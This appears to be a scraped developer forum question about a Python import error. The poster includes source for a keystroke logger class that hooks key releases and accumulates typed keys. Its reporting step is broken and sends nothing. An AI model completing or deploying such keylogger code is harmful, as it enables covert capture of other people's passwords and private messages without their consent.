LaVOZs

The World’s Largest Online Community for Developers

'; Import error on "keyboard" with python and VS Code - LavOzs.Com

i cannot figure out why my "keyboard" fails to import in VS Code. I installed "pip3 install keyboard" in CMD and it installed with no errors. I then opened up a new project with VS code and after writing this code and fixing all errors it now tells my the keyboard failed to import. Here is the code

import keyboard #does the keylogs
import smtplib

from threading import Semaphore, Timer

SEND_REPORT_EVERY = 5

class Keylogger:
    def __init__(self, interval):
        self.interval = interval

        self.log = ""

        self.semaphore = Semaphore(0)
    def callback(self, event):
        name = event.name
        if len(name) > 1:
            if name == "space":
                name = " "

            elif name == "enter":
                name = "[Enter]\n"

            elif name == "decimal":
                name = "."
            else:
                name = name.replace(" ", "_")
                name = f"[{name.upper()}]"
        self.log += name

    def report(self):

        if self.log:
            self = open("E:\\downloads\\onjab.txt")
            self.log
            Timer(interval=self.interval, function=self.report).start()

    def start(self):
        keyboard.on_release(callback=self.callback)
        self.report()
        self.semaphore.acquire()

    if __name__ == "__main__":
    keylogger = Keylogger(interval=SEND_REPORT_EVERY)
    keylogger.start()

Can anyone help me with the import error? Is there another line I have to add to make sure the dependancy is there?

I just tried to install keyboard using the command in your question, and it returned literally nothing. Try using one of the following commands:

pip install keyboard
python -m pip install keyboard
Related
How do I merge two dictionaries in a single expression in Python?
Calling an external command from Python
What are metaclasses in Python?
How do I copy a file in Python?
Does Python have a ternary conditional operator?
How to get the current time in Python
How do I concatenate two lists in Python?
Manually raising (throwing) an exception in Python
Does Python have a string 'contains' substring method?